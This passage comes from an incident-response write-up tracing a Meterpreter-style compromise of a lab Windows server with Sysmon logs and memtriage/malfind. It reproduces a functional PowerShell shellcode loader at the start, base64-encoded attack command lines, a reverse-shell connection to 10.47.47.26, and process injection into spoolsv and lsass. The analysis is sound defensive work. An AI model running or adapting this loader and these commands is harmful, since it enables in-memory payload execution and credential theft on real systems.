}68,}00,}20,}00,}00,}53,}56,}68,}12,}96,}89,}e2,}ff,}d5,}85,}c0,}74,}cd,}8b,}07,}01,}c3,`
}85,}c0,}75,}e5,}58,}c3,}5f,}e8,}7d,}ff,}ff,}ff,}31,}30,}2e,}34,}37,}2e,}34,}37,}2e,}32,`
}36,}00"
$Zu=Add-Type -pass -m $Ku -Name "UV" -names wXr
$Zu=$Zu.replace("wXr", "Wi"+"n"+"32Functions")
[byte[]]$TW = $TW.replace("}","QhEax").replace("QhEa", "0").Split(",")
$RN=0x1007
if ($TW.L -gt 0x1007)
{
$RN=$TW.L
}
$dV=$Zu::calloc(0x1007, 1)
[UInt64]$Tao = 0
for($vX=0; $vX -le($TW.Length-1); $vX++)
{
$Zu::memset([IntPtr]($dV.ToInt32()+$vX), $TW[$vX], 1)
}
$Zu::VirtualProtect($dV, 0x1007, 0x40, [Ref]$Tao)
$Zu::CreateThread(0,0x00,$dV,0,0,0)
As an investigator, we'll want to glean as much as we can as quickly as we can. Several things jump out to me. First and foremost the string of hexadecimal characters delimited by ,}, which is assigned to a variable named $TW. I take this to be shellcode, but it requires more time and effort to grok.
We see a variable named $Ku assigned a string that calls DllImport multiple times, referencing in order the calloc function in msvcrt.dll, the CreateThread and VirtualProtect functions in kernel32.dll and finally the memset function in msvcrt.dll.
Below the byte array we see a variable created called $Zu. $Zu is set to the result of a call to the Add-Type cmdlet, which is going to cause some just-in-time compilation, triggering the C# compiler, csc.exe and the C# linker, cvtres.exe. This JIT compilation will add the specified functionality to our PowerShell session that wouldn't otherwise be there, essentially allowing the PowerShell session to access C# functionality it may not normally have. In my experience, this compilation will create a dll on disk that may be useful to analysts, though I've not personally taken the time to examine one. Passing it to pefile may be insightful. After Add-Type completes, $Zu will be a RunTimeType object. The value of the variable $Ku from above is passed in as the MemberDefinition, the Name of the class created will be UV and the Namespace will be wXr.
Immediately following the designation of wXr as the Namespace, we see the replace() method called on the $Zu, but I think this will fail as RunTimeType objects have no replace() method.
Next we have some manipulations of the $TW variable. The curly brace is replaced by QhEax, and then the QhEa string is replaced by 0, leaving us with 0x in place of the curly brace and the string is split on the comma character resulting in an array of bytes assigned to $TW. Next up a variable named $RN is assigned the value 0x1007. Then $dv is assigned the return value from a call to $Zu's calloc() function, essentially a pointer to the allocated space in memory.
Next a for loop iterates over the $TW byte array elements, calling memset() and populating the previously allocated memory (note the use of the $dv pointer) with the bytes from $TW.
And finally CreateThread() is called to execute the previously allocated code. Note this is not CreateRemoteThread(), which creates a new thread of execution in a remote process, this is creating a new thread in the current PowerShell process. We'll see the latter later.
So we have a rough outline of what this is doing, but we won't know the details unless we pick apart the byte array. If anyone wants to chime in on a reasonable process for that, I'm all ears. I've dabbled in reversing, but my knowledge in this area is not what I want it to be.
Back to Sysmon says
Recall our process before we took the detour to analyze our malicious PowerShells. Sysmon captured all of that. We left off reviewing events in the Sysmon log. Let's return to that. We saw PowerShell building an obfuscated set of variables that were going to be handed to another PowerShell instance as an encoded command, which we just spent some time picking apart. Sysmon picks up the execution of that PowerShell process as a child of the first PowerShell process, the grandchild of Excel.
Event ID: 1
Task Category: Process Create (rule: ProcessCreate)
Level: Information
Keywords:
User: SYSTEM
Computer: wins2012r202.1011Labs.com
Description:
Process Create:
RuleName: -
UtcTime: 2020-07-19 20:03:36.723
ProcessGuid: {fc3f293c-a718-5f14-a4dd-430000000000}
ProcessId: 1236
Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
FileVersion: 10.0.14409.1005 (rs1_srvoob.161208-1155)
Description: Windows PowerShell
Product: Microsoft® Windows® Operating System
Company: Microsoft Corporation
OriginalFileName: PowerShell.EXE
CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ec JABpAHMAPQAnACQASwB1AD0AJwAnAFsARABsAGwASQBtAHAAbwByAHQAKAAoACIAbQBzAHYAYwByAHQAIgArACIALgAiACsAIgBkAGwAbAAiACkAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAYwBhAGwAbABvAGMAKAB1AGkAbgB0ACAAZAB3AFMAaQB6AGUALAAgAHUAaQBuAHQAIABhAG0AbwB1AG4AdAApADsAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyACIAKwAiAC4AIgArACIAZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcg...NgA0AFwAJABQAE0AJAB1AG0AXAB2ADEALgAwAFwAJAB1AG0AIgA7ACQASQB0AFgAIAA9ACAAJwBUAHIAIgArACIAdQAiACsAIgBlACcAOwBpAGYAKABbAGUAbgB2AGkAcgBvAG4AbQBlAG4AdABdADoAOgBJAHMANgA0AEIAaQB0AE8AcABlAHIAYQB0AGkAbgBnAFMAeQBzAHQAZQBtACAALQBlAHEAIAAnACQASQB0AFgAJwApAHsAJAB1AG0APQAgACQAawBYAHQAfQA7ACQAdgBGAD0AIgAgACQAdQBtACAAUwB3AGYAWAAgACQAcQB6ACIAOwAkAHYARgA9ACQAdgBGAC4AcgBlAHAAbABhAGMAZQAoACIAUwB3AGYAWAAiACwAIAAiAC0AbgBvAGUAeABpAHQAIAAtAGUAIgApADsAaQBlAHgAIAAkAHYARgA=
CurrentDirectory: C:\Users\davehull\Documents\
User: 1011LABS\dave.hull
LogonGuid: {fc3f293c-4e60-5f14-ee7e-3b0000000000}
LogonId: 0x3B7EEE
TerminalSessionId: 1
IntegrityLevel: High
Hashes: MD5=38FD25D3D4AD1C28F741B1D4D50B2E6E,SHA256=2C2F1A21D85504374679D83D1BE9553D082AD9B28CBB847A90F04305A09882B9,IMPHASH=A4D32F1AEF525B8ADA6A26F28596AC2E
ParentProcessGuid: {fc3f293c-a716-5f14-06ce-430000000000}
ParentProcessId: 1604
ParentImage: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
ParentCommandLine: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /w 1 /C "sv BvI -;sv AT ec;sv Al ((gv BvI).value.toString()+(gv AT).value.toString());powershell (gv Al).value.toString()...
Above I've redacted some portions to save space. Note the ParentCommandLine near the bottom was the one we reviewed previously, but the CommandLine shows plainly all that the attacker tried to hide or obfuscate to circumvent detection. The above PowerShell instance parents the third one, partially shown below.
Date: 7/19/2020 8:03:36 PM
Event ID: 1
Task Category: Process Create (rule: ProcessCreate)
Level: Information
Keywords:
User: SYSTEM
Computer: wins2012r202.1011Labs.com
Description:
Process Create:
RuleName: -
UtcTime: 2020-07-19 20:03:36.942
ProcessGuid: {fc3f293c-a718-5f14-49eb-430000000000}
ProcessId: 2752
Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
FileVersion: 10.0.14409.1005 (rs1_srvoob.161208-1155)
Description: Windows PowerShell
Product: Microsoft® Windows® Operating System
Company: Microsoft Corporation
OriginalFileName: PowerShell.EXE
CommandLine: "C:\Windows\syswow64\Windowspowershell\v1.0\powershell.exe" -noexit -e JABLAHUAPQAnAFsARABsAGwASQBtAHAAbwByAHQAKAAoACIAbQBzAHYAYwByAHQAIgArACIALgAiACsAIgBkAGwAbAAiACkAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGE...LAAgAFsAUgBlAGYAXQAkAFQAYQBvACkAOwAkAFoAdQA6ADoAQwByAGUAYQB0AGUAVABoAHIAZQBhAGQAKAAwACwAMAB4ADAAMAAsACQAZABWACwAMAAsADAALAAwACkAOwA=
CurrentDirectory: C:\Users\davehull\Documents\
User: 1011LABS\dave.hull
LogonGuid: {fc3f293c-4e60-5f14-ee7e-3b0000000000}
LogonId: 0x3B7EEE
TerminalSessionId: 1
IntegrityLevel: High
Hashes: MD5=38FD25D3D4AD1C28F741B1D4D50B2E6E,SHA256=2C2F1A21D85504374679D83D1BE9553D082AD9B28CBB847A90F04305A09882B9,IMPHASH=A4D32F1AEF525B8ADA6A26F28596AC2E
ParentProcessGuid: {fc3f293c-a718-5f14-a4dd-430000000000}
ParentProcessId: 1236
ParentImage: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ec JABpAHMAPQAnACQASwB1AD0AJw...
Again, I've redacted the encoded commands to save space, but we've already reviewed them in some detail, if not enough. Note the ProcessId 2752 is our third PowerShell instance.
Recall the discussion of the Add-Type cmdlet causing csc.exe and cvtres.exe to run. We can see that in the Sysmon logs.
Date: 7/19/2020 8:03:37 PM
Event ID: 1
Task Category: Process Create (rule: ProcessCreate)
Level: Information
Keywords:
User: SYSTEM
Computer: wins2012r202.1011Labs.com
Description:
Process Create:
RuleName: -
UtcTime: 2020-07-19 20:03:37.177
ProcessGuid: {fc3f293c-a719-5f14-1cf9-430000000000}
ProcessId: 44
Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
FileVersion: 4.8.3761.0 built by: NET48REL1
Description: Visual C# Command Line Compiler
Product: Microsoft® .NET Framework
Company: Microsoft Corporation
OriginalFileName: csc.exe
CommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\davehull\AppData\Local\Temp\3m35xm2u\3m35xm2u.cmdline"
CurrentDirectory: C:\Users\davehull\Documents\
User: 1011LABS\dave.hull
LogonGuid: {fc3f293c-4e60-5f14-ee7e-3b0000000000}
LogonId: 0x3B7EEE
TerminalSessionId: 1
IntegrityLevel: High
Hashes: MD5=F8F36858B9405FBE27377FD7E8FEC2F2,SHA256=086C38FD66AEC0E824ECB74ECE3D7124174201A9B4F5C9974FCFDBAF04A5870E,IMPHASH=950FB6F62526333E663D35BA72D19DDC
ParentProcessGuid: {fc3f293c-a718-5f14-49eb-430000000000}
ParentProcessId: 2752
ParentImage: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
ParentCommandLine: "C:\Windows\syswow64\Windowspowershell\v1.0\powershell.exe" -noexit -e JABLAHUAPQAnAFs...
Above we can see csc.exe as a child of the PowerShell process with PID of 2752. And next we see this csc.exe instance parenting cvtres.exe:
Date: 7/19/2020 8:03:37 PM
Event ID: 1
Task Category: Process Create (rule: ProcessCreate)
Level: Information
Keywords:
User: SYSTEM
Computer: wins2012r202.1011Labs.com
Description:
Process Create:
RuleName: -
UtcTime: 2020-07-19 20:03:37.442
ProcessGuid: {fc3f293c-a719-5f14-89fc-430000000000}
ProcessId: 2128
Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
FileVersion: 14.10.25028.0 built by: VCTOOLSD15RTM
Description: Microsoft® Resource File To COFF Object Conversion Utility
Product: Microsoft® .NET Framework
Company: Microsoft Corporation
OriginalFileName: CVTRES.EXE
CommandLine: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\davehull\AppData\Local\Temp\RES2896.tmp" "c:\Users\davehull\AppData\Local\Temp\3m35xm2u\CSC81A6F4C3835645A8965DB621A6C573D8.TMP"
CurrentDirectory: C:\Users\davehull\Documents\
User: 1011LABS\dave.hull
LogonGuid: {fc3f293c-4e60-5f14-ee7e-3b0000000000}
LogonId: 0x3B7EEE
TerminalSessionId: 1
IntegrityLevel: High
Hashes: MD5=70D838A7DC5B359C3F938A71FAD77DB0,SHA256=E4DBDBF7888EA96F3F8AA5C4C7F2BCF6E57D724DD8194FE5F35B673C6EF724EA,IMPHASH=0FCE7AAB563778C495FB59AA62464473
ParentProcessGuid: {fc3f293c-a719-5f14-1cf9-430000000000}
ParentProcessId: 44
ParentImage: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
ParentCommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\davehull\AppData\Local\Temp\3m35xm2u\3m35xm2u.cmdline"
And here's the output, a dll created in the Temp directory:
Date: 7/19/2020 8:03:37 PM
Event ID: 11
Task Category: File created (rule: FileCreate)
Level: Information
Keywords:
User: SYSTEM
Computer: wins2012r202.1011Labs.com
Description:
File created:
RuleName: DLL
UtcTime: 2020-07-19 20:03:37.458
ProcessGuid: {fc3f293c-a719-5f14-1cf9-430000000000}
ProcessId: 44
Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
TargetFilename: C:\Users\davehull\AppData\Local\Temp\3m35xm2u\3m35xm2u.dll
CreationUtcTime: 2020-07-19 20:03:37.161
Next up, Sysmon shows:
Date: 7/19/2020 8:03:39 PM
Event ID: 3
Task Category: Network connection detected (rule: NetworkConnect)
Level: Information
Keywords:
User: SYSTEM
Computer: wins2012r202.1011Labs.com
Description:
Network connection detected:
RuleName: -
UtcTime: 2020-07-19 20:03:34.735
ProcessGuid: {fc3f293c-a718-5f14-49eb-430000000000}
ProcessId: 2752
Image: C:\Windows\syswow64\Windowspowershell\v1.0\powershell.exe
User: 1011LABS\dave.hull
Protocol: tcp
Initiated: true
SourceIsIpv6: false
SourceIp: 10.47.47.17
SourceHostname: wins2012r202.1011Labs.com
SourcePort: 53245
SourcePortName: -
DestinationIsIpv6: false
DestinationIp: 10.47.47.26
DestinationHostname: -
DestinationPort: 80
DestinationPortName: http
Perhaps our shellcode set up this reverse shell connecting to 10.47.47.26 via port 80?
And another, but the source port has incremented:
Date: 7/19/2020 8:03:39 PM
Event ID: 3
Task Category: Network connection detected (rule: NetworkConnect)
Level: Information
Keywords:
User: SYSTEM
Computer: wins2012r202.1011Labs.com
Description:
Network connection detected:
RuleName: -
UtcTime: 2020-07-19 20:03:35.259
ProcessGuid: {fc3f293c-a718-5f14-49eb-430000000000}
ProcessId: 2752
Image: C:\Windows\syswow64\Windowspowershell\v1.0\powershell.exe
User: 1011LABS\dave.hull
Protocol: tcp
Initiated: true
SourceIsIpv6: false
SourceIp: 10.47.47.17
SourceHostname: wins2012r202.1011Labs.com
SourcePort: 53246
SourcePortName: -
DestinationIsIpv6: false
DestinationIp: 10.47.47.26
DestinationHostname: -
DestinationPort: 80
DestinationPortName: http
Then a bit later we have a Registry value set event related to creation of a new service:
Date: 7/19/2020 8:04:17 PM
Event ID: 13
Task Category: Registry value set (rule: RegistryEvent)
Level: Information
Keywords:
User: SYSTEM
Computer: wins2012r202.1011Labs.com
Description:
Registry value set:
RuleName: T1031,T1050
EventType: SetValue
UtcTime: 2020-07-19 20:04:17.209
ProcessGuid: {fc3f293c-bb4e-5f13-9e5b-000000000000}
ProcessId: 468
Image: C:\Windows\system32\services.exe
TargetObject: HKLM\System\CurrentControlSet\Services\axfvos\Start
Details: DWORD (0x00000003)
Followed by another related Registry value set event:
Date: 7/19/2020 8:04:17 PM
Event ID: 13
Task Category: Registry value set (rule: RegistryEvent)
Level: Information
Keywords:
User: SYSTEM
Computer: wins2012r202.1011Labs.com
Description:
Registry value set:
RuleName: T1031,T1050
EventType: SetValue
UtcTime: 2020-07-19 20:04:17.209
ProcessGuid: {fc3f293c-bb4e-5f13-9e5b-000000000000}
ProcessId: 468
Image: C:\Windows\system32\services.exe
TargetObject: HKLM\System\CurrentControlSet\Services\axfvos\ImagePath
Details: cmd.exe /c echo axfvos > \\.\pipe\axfvos
And a blink later, a related process creation event:
Date: 7/19/2020 8:04:17 PM
Event ID: 1
Task Category: Process Create (rule: ProcessCreate)
Level: Information
Keywords:
User: SYSTEM
Computer: wins2012r202.1011Labs.com
Description:
Process Create:
RuleName: -
UtcTime: 2020-07-19 20:04:17.225
ProcessGuid: {fc3f293c-a741-5f14-920b-440000000000}
ProcessId: 1720
Image: C:\Windows\System32\cmd.exe
FileVersion: 6.2.9200.16384 (win8_rtm.120725-1247)
Description: Windows Command Processor
Product: Microsoft® Windows® Operating System
Company: Microsoft Corporation
OriginalFileName: Cmd.Exe
CommandLine: cmd.exe /c echo axfvos > \\.\pipe\axfvos
CurrentDirectory: C:\Windows\system32\
User: NT AUTHORITY\SYSTEM
LogonGuid: {fc3f293c-bb4e-5f13-e703-000000000000}
LogonId: 0x3E7
TerminalSessionId: 0
IntegrityLevel: System
Hashes: MD5=BF93A2F9901E9B3DFCA8A7982F4A9868,SHA256=858A5766A2DE54A6908A2CA30DD5983790B8C63614A455292613B129877223E9,IMPHASH=B16908B0B9C28132BF70555413F2F045
ParentProcessGuid: {fc3f293c-bb4e-5f13-9e5b-000000000000}
ParentProcessId: 468
ParentImage: C:\Windows\System32\services.exe
ParentCommandLine: C:\Windows\system32\services.exe
A little searching online and you'll find references indicating this is probably related to Meterpreter's getsystem command.
Followed by another Registry set value event, probably cleaning up the service as it is no longer needed.
Date: 7/19/2020 8:04:17 PM
Event ID: 13
Task Category: Registry value set (rule: RegistryEvent)
Level: Information
Keywords:
User: SYSTEM
Computer: wins2012r202.1011Labs.com
Description:
Registry value set:
RuleName: T1031,T1050
EventType: SetValue
UtcTime: 2020-07-19 20:04:17.225
ProcessGuid: {fc3f293c-bb4e-5f13-9e5b-000000000000}
ProcessId: 468
Image: C:\Windows\system32\services.exe
TargetObject: HKLM\System\CurrentControlSet\Services\axfvos\Start
Details: DWORD (0x00000004)
And another outbound connection:
Date: 7/19/2020 8:04:18 PM
Event ID: 3
Task Category: Network connection detected (rule: NetworkConnect)
Level: Information
Keywords:
User: SYSTEM
Computer: wins2012r202.1011Labs.com
Description:
Network connection detected:
RuleName: -
UtcTime: 2020-07-19 20:04:14.249
ProcessGuid: {fc3f293c-a718-5f14-49eb-430000000000}
ProcessId: 2752
Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
User: 1011LABS\dave.hull
Protocol: tcp
Initiated: true
SourceIsIpv6: false
SourceIp: 10.47.47.17
SourceHostname: wins2012r202.1011Labs.com
SourcePort: 53247
SourcePortName: -
DestinationIsIpv6: false
DestinationIp: 10.47.47.26
DestinationHostname: -
DestinationPort: 80
DestinationPortName: http
And now for something completely different. Our PowerShell process calls CreateRemoteThread() against spoolsv.exe:
Date: 7/19/2020 8:04:30 PM
Event ID: 8
Task Category: CreateRemoteThread detected (rule: CreateRemoteThread)
Level: Information
Keywords:
User: SYSTEM
Computer: wins2012r202.1011Labs.com
Description:
CreateRemoteThread detected:
RuleName: -
UtcTime: 2020-07-19 20:04:30.116
SourceProcessGuid: {fc3f293c-a718-5f14-49eb-430000000000}
SourceProcessId: 2752
SourceImage: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
TargetProcessGuid: {fc3f293c-bb50-5f13-4008-010000000000}
TargetProcessId: 1120
TargetImage: C:\Windows\System32\spoolsv.exe
NewThreadId: 212
StartAddress: 0x0000000000DC0000
StartModule: -
StartFunction: -
Above we looked at PowerShell allocating memory in its own process, populating that memory with shell code and creating a thread of execution. This is similar, but CreateRemoteThread() is used for starting a new thread of execution in another process. You might wonder why this is even possible in Windows. Microsoft's Raymond Chen explains.
Date: 7/19/2020 8:05:04 PM
Event ID: 8
Task Category: CreateRemoteThread detected (rule: CreateRemoteThread)
Level: Information
Keywords:
User: SYSTEM
Computer: wins2012r202.1011Labs.com
Description:
CreateRemoteThread detected:
RuleName: -
UtcTime: 2020-07-19 20:05:04.992
SourceProcessGuid: {fc3f293c-bb50-5f13-4008-010000000000}
SourceProcessId: 1120
SourceImage: C:\Windows\System32\spoolsv.exe
TargetProcessGuid: {fc3f293c-bb4e-5f13-015e-000000000000}
TargetProcessId: 476
TargetImage: C:\Windows\System32\lsass.exe
NewThreadId: 1864
StartAddress: 0x000000A0FF660000
StartModule: -
StartFunction: -
And above we see that spoolsv.exe calls CreateRemoteThread() against lsass.exe, which is the Local Security Authority Subsystem Service and handles security policy enforcement, password changes, authentication, and the like. When attackers want to dump credentials on Windows, they often do so by attacking lsass.
There is other data that Sysmon could give us. If we were running it with Image Loads configured, which creates a ton of noise, it would show us what dlls are loaded into processes and when. If it were configured to do this on this endpoint, we would see a handful of dlls loaded into the spoolsv.exe process shortly after our third PowerShell process opened a new thread in the spooler service.
See More: Memtriage
We can see this using gleeda's memtriage in combination with supported Volatility plugins. For my investigation, I downloaded memtriage to the victim system and started with this command:
.\memtriage.exe --pid 1120 --output csv --plugins dlllist --outfile dlllist_1120.csv
To quickly review the output, I used PowerShell and created a variable that assigned each CSV to an object as follows:
$dlllist = Get-Content ./dlllist_1120.csv | ConvertFrom-Csv
And then I selected the specific properties from those objects as follows:
$dlllist | Select-Object -Property LoadTime,Path
LoadTime Path
-------- ----
2020-07-19 03:17:36 UTC+0000 C:\Windows\System32\spoolsv.exe
2020-07-19 03:17:36 UTC+0000 C:\Windows\SYSTEM32\ntdll.dll
2020-07-19 03:17:36 UTC+0000 C:\Windows\system32\KERNEL32.DLL
2020-07-19 03:17:36 UTC+0000 C:\Windows\system32\KERNELBASE.dll
2020-07-19 03:17:36 UTC+0000 C:\Windows\system32\USER32.dll
2020-07-19 03:17:36 UTC+0000 C:\Windows\system32\msvcrt.dll
2020-07-19 03:17:36 UTC+0000 C:\Windows\SYSTEM32\sechost.dll
2020-07-19 03:17:36 UTC+0000 C:\Windows\system32\RPCRT4.dll
2020-07-19 03:17:36 UTC+0000 C:\Windows\System32\DNSAPI.dll
2020-07-19 03:17:36 UTC+0000 C:\Windows\SYSTEM32\powrprof.dll
2020-07-19 03:17:36 UTC+0000 C:\Windows\system32\GDI32.dll
2020-07-19 03:17:36 UTC+0000 C:\Windows\system32\WS2_32.dll
2020-07-19 03:17:36 UTC+0000 C:\Windows\system32\NSI.dll
2020-07-19 03:17:36 UTC+0000 C:\Windows\SYSTEM32\combase.dll
2020-07-19 03:17:36 UTC+0000 C:\Windows\System32\CRYPTBASE.dll
2020-07-19 03:17:36 UTC+0000 C:\Windows\System32\bcryptPrimitives.dll
2020-07-19 03:17:36 UTC+0000 C:\Windows\System32\sspicli.dll
2020-07-19 03:18:12 UTC+0000 C:\Windows\System32\clusapi.dll
2020-07-19 03:18:12 UTC+0000 C:\Windows\System32\cryptdll.dll
2020-07-19 03:18:12 UTC+0000 C:\Windows\SYSTEM32\advapi32.dll
2020-07-19 03:18:12 UTC+0000 C:\Windows\System32\IPHLPAPI.DLL
2020-07-19 03:18:12 UTC+0000 C:\Windows\System32\WINNSI.DLL
2020-07-19 03:18:12 UTC+0000 C:\Windows\system32\mswsock.dll
2020-07-19 03:18:12 UTC+0000 C:\Windows\System32\rasadhlp.dll
2020-07-19 03:18:12 UTC+0000 C:\Windows\System32\fwpuclnt.dll
2020-07-19 03:18:12 UTC+0000 C:\Windows\System32\localspl.dll
2020-07-19 03:18:12 UTC+0000 C:\Windows\system32\CRYPT32.dll
2020-07-19 03:18:12 UTC+0000 C:\Windows\System32\srvcli.dll
2020-07-19 03:18:12 UTC+0000 C:\Windows\SYSTEM32\cfgmgr32.dll
2020-07-19 03:18:12 UTC+0000 C:\Windows\System32\CRYPTSP.dll
2020-07-19 03:18:12 UTC+0000 C:\Windows\System32\SPOOLSS.DLL
2020-07-19 03:18:12 UTC+0000 C:\Windows\system32\WINTRUST.dll
2020-07-19 03:18:12 UTC+0000 C:\Windows\system32\SETUPAPI.dll
2020-07-19 03:18:12 UTC+0000 C:\Windows\System32\bcrypt.dll
2020-07-19 03:18:12 UTC+0000 C:\Windows\system32\MSASN1.dll
2020-07-19 03:18:12 UTC+0000 C:\Windows\system32\DEVOBJ.dll
2020-07-19 03:18:12 UTC+0000 C:\Windows\system32\winspool.drv
2020-07-19 03:18:12 UTC+0000 C:\Windows\System32\PrintIsolationProxy.dll
2020-07-19 03:18:12 UTC+0000 C:\Windows\System32\tcpmon.dll
2020-07-19 03:18:12 UTC+0000 C:\Windows\System32\snmpapi.dll
2020-07-19 03:18:12 UTC+0000 C:\Windows\System32\wsnmp32.dll
2020-07-19 03:18:12 UTC+0000 C:\Windows\System32\usbmon.dll
2020-07-19 03:18:12 UTC+0000 C:\Windows\system32\OLEAUT32.dll
2020-07-19 03:18:12 UTC+0000 C:\Windows\System32\WSDMon.dll
2020-07-19 03:18:12 UTC+0000 C:\Windows\System32\wsdapi.dll
2020-07-19 03:18:12 UTC+0000 C:\Windows\System32\webservices.dll
2020-07-19 03:18:12 UTC+0000 C:\Windows\System32\FirewallAPI.dll
2020-07-19 03:18:12 UTC+0000 C:\Windows\SYSTEM32\clbcatq.dll
2020-07-19 03:18:12 UTC+0000 C:\Windows\System32\FunDisc.dll
2020-07-19 03:18:12 UTC+0000 C:\Windows\System32\XmlLite.dll
2020-07-19 03:18:12 UTC+0000 C:\Windows\System32\fdPnp.dll
2020-07-19 03:18:12 UTC+0000 C:\Windows\System32\ATL.DLL
2020-07-19 03:18:12 UTC+0000 C:\Windows\System32\drvstore.dll
2020-07-19 03:18:12 UTC+0000 C:\Windows\system32\spool\PRTPROCS\x64\winprint.dll
2020-07-19 03:18:12 UTC+0000 C:\Windows\system32\USERENV.dll
2020-07-19 03:18:12 UTC+0000 C:\Windows\system32\profapi.dll
2020-07-19 03:18:12 UTC+0000 C:\Windows\SYSTEM32\gpapi.dll
2020-07-19 03:18:12 UTC+0000 C:\Windows\System32\VERSION.dll
2020-07-19 03:18:12 UTC+0000 C:\Windows\System32\DSROLE.dll
2020-07-19 03:18:12 UTC+0000 C:\Windows\System32\win32spl.dll
2020-07-19 03:18:12 UTC+0000 C:\Windows\system32\SHLWAPI.dll
2020-07-19 03:18:12 UTC+0000 C:\Windows\System32\DEVRTL.dll
2020-07-19 03:18:12 UTC+0000 C:\Windows\System32\SPINF.dll
2020-07-19 03:18:12 UTC+0000 C:\Windows\system32\rsaenh.dll
2020-07-19 03:18:12 UTC+0000 C:\Windows\System32\WINSTA.dll
2020-07-19 03:18:12 UTC+0000 C:\Windows\System32\cscapi.dll
2020-07-19 03:18:12 UTC+0000 C:\Windows\System32\netutils.dll
2020-07-19 13:45:05 UTC+0000 C:\Windows\System32\WTSAPI32.dll
2020-07-19 20:04:32 UTC+0000 C:\Windows\system32\WININET.dll
2020-07-19 20:04:32 UTC+0000 C:\Windows\system32\iertutil.dll
2020-07-19 20:04:32 UTC+0000 C:\Windows\System32\WINHTTP.dll
2020-07-19 20:04:32 UTC+0000 C:\Windows\System32\dhcpcsvc6.DLL
2020-07-19 20:04:32 UTC+0000 C:\Windows\System32\dhcpcsvc.DLL
2020-07-19 20:04:32 UTC+0000 C:\Windows\System32\webio.dll
2020-07-19 20:04:36 UTC+0000 C:\Windows\system32\PSAPI.DLL
2020-07-19 20:04:36 UTC+0000 C:\Windows\System32\WINMM.dll
2020-07-19 20:04:36 UTC+0000 C:\Windows\System32\WINMMBASE.dll
2020-07-19 20:04:36 UTC+0000 C:\Windows\system32\ole32.dll
2020-07-19 20:04:36 UTC+0000 C:\Windows\System32\MPR.dll
2020-07-19 20:04:36 UTC+0000 C:\Windows\System32\NETAPI32.dll
2020-07-19 20:04:36 UTC+0000 C:\Windows\System32\wkscli.dll
Take note of the load times for most of these dlls. Most are loaded shortly after the process starts. There's one outlier, WTSAPI32.dll and then there's a cluster of dlls loaded right around the time of our incident, 2020-07-19 20:04:32 UTC.
But why are these dlls loaded? The PowerShell we saw showed a small bit of shellcode and doesn't Metasploit do reflective loading without writing to disk and without registering dlls in the process? The answer is, yes, for the Metasploit specific dlls, but those dlls import functions from other system dlls as the authors of Metasploit don't want to write everything from scratch. Those 13 late loading dlls could make for a useful detection -- perhaps Sysmon should have a setting to only log late loading dlls. They may not all be malicious like the one outlier above, but logging late loading dlls could reduce the noise of logging all dll loads.
Let's see if other memtriage plugins can shed more light on what's going on, starting with malfind, which can be used to look for injected code in process memory. Here's the command I ran against the spoolsv.exe process id, 1120:
.\memtriage.exe --pid 1120 --plugins malfind --output csv --outfile malfind.csv
The data in this CSV output file can again be easily converted to PowerShell objects and reviewed using something like this:
$malfind = Get-Content .\malfind.csv | ConvertFrom-Csv
PS> $malfind
Process : spoolsv.exe
Pid : 1120
Address : 14417920
VadTag : VadS
Protection : PAGE_EXECUTE_READWRITE
Flags : PrivateMemory: 1
Data : Protection: 6
Process : spoolsv.exe
Pid : 1120
Address : 1033265020928
VadTag : VadS
Protection : PAGE_EXECUTE_READWRITE
Flags : PrivateMemory: 1
Data : Protection: 6
Process : spoolsv.exe
Pid : 1120
Address : 1033271443456
VadTag : VadS
Protection : PAGE_EXECUTE_READWRITE
Flags : PrivateMemory: 1
Data : Protection: 6
Process : spoolsv.exe
Pid : 1120
Address : 1033272295424
VadTag : VadS
Protection : PAGE_EXECUTE_READWRITE
Flags : PrivateMemory: 1
Data : Protection: 6
Above, malfind's output. When called as above, malfind shows that there are four suspect memory regions in spoolsv.exe's process memory. I don't know the exact heuristic malfind uses, but it may be a combination of the Protection and Flags. The PrivateMemory flag means the memory region is not backed by a file on disk. Generally a dll loaded in a process would be backed by a dll on disk. The Protection setting of PAGE_EXECUTE_READWRITE is an artifact of the code being written into the memory region. These permissions can be updated after injection, in fact, Chris Truncer's Veil Framework explicitly calls this out and addresses it. This would be a fun future project for testing malfind, and maybe it's been done already.
The malfind plugin can do more, if run without CSV output, you'll get something like this:
.\memtriage.exe --pid 1120 --dumpdir .\malfind_dump --plugins malfind
********************Plugin: malfind********************
Process: spoolsv.exe, Pid: 1120
VadTag: VadS, Protection: PAGE_EXECUTE_READWRITE, Flags: PrivateMemory: 1, Protection: 6
Raw data at address 0xdc0000: fc4889ce4881ec002000004883e4f0e8cc000000415141505251564831d265488b5260488b5218488b5220488b7250480fb74a4a4d31c94831c0ac3c617c022c
Disassembly:
0xdc0000 fc CLD
0xdc0001 4889ce MOV RSI, RCX
0xdc0004 4881ec00200000 SUB RSP, 0x2000
0xdc000b 4883e4f0 AND RSP, -0x10
0xdc000f e8cc000000 CALL 0xdc00e0
0xdc0014 4151 PUSH R9
